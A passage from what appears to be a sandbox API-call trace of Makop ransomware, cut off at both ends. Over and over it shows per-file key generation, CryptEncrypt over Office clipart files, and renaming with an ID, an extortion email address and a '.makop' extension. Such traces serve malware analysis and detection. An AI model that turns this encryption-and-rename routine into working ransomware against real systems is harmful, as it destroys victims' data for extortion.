lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.587] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.588] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.588] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ab, lpOverlapped=0x0) returned 1 [0154.588] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b0) returned 1 [0154.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b0, lpOverlapped=0x0) returned 1 [0154.588] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.588] SetEndOfFile (hFile=0xf0) returned 1 [0154.595] GetProcessHeap () returned 0x48a0000 [0154.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.596] GetProcessHeap () returned 0x48a0000 [0154.596] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.596] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.600] CloseHandle (hObject=0xf0) returned 1 [0154.600] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0154.600] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF") returned 63 [0154.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.601] GetProcessHeap () returned 0x48a0000 [0154.601] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.601] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.601] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0154.605] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.605] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.605] GetProcessHeap () returned 0x48a0000 [0154.605] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.605] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.605] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.606] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.606] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.607] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.607] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.607] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x255, lpOverlapped=0x0) returned 1 [0154.607] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x260, dwBufLen=0x260 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x260) returned 1 [0154.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.607] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x260, lpOverlapped=0x0) returned 1 [0154.607] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.607] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.608] SetEndOfFile (hFile=0xf0) returned 1 [0154.615] GetProcessHeap () returned 0x48a0000 [0154.615] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.615] GetProcessHeap () returned 0x48a0000 [0154.615] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.615] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.618] CloseHandle (hObject=0xf0) returned 1 [0154.618] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0154.618] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF") returned 63 [0154.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.621] GetProcessHeap () returned 0x48a0000 [0154.621] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.621] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0154.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.833] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.833] GetProcessHeap () returned 0x48a0000 [0154.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.833] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.833] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.833] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.834] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.834] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.835] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.835] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a7, lpOverlapped=0x0) returned 1 [0154.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0) returned 1 [0154.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b0, lpOverlapped=0x0) returned 1 [0154.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.836] SetEndOfFile (hFile=0xf0) returned 1 [0154.842] GetProcessHeap () returned 0x48a0000 [0154.842] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.842] GetProcessHeap () returned 0x48a0000 [0154.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.860] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.862] CloseHandle (hObject=0xf0) returned 1 [0154.862] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0154.862] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF") returned 63 [0154.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.865] GetProcessHeap () returned 0x48a0000 [0154.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.865] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0154.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.869] GetProcessHeap () returned 0x48a0000 [0154.869] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0154.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0154.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0154.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0154.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ad, lpOverlapped=0x0) returned 1 [0154.871] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b0) returned 1 [0154.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b0, lpOverlapped=0x0) returned 1 [0154.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.872] SetEndOfFile (hFile=0xf0) returned 1 [0154.878] GetProcessHeap () returned 0x48a0000 [0154.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0154.878] GetProcessHeap () returned 0x48a0000 [0154.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0154.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0154.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0154.880] CloseHandle (hObject=0xf0) returned 1 [0154.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3725d200, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3725d200, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01295_.GIF", cAlternateFileName="")) returned 1 [0154.881] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF") returned 63 [0154.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0154.882] GetProcessHeap () returned 0x48a0000 [0154.882] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0154.882] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0154.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0154.882] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0154.886] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0154.886] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0154.886] GetProcessHeap () returned 0x48a0000 [0154.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0154.886] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0154.886] CryptDestroyKey (hKey=0x48c7128) returned 1 [0154.886] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0154.886] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0154.887] WriteFile (in: 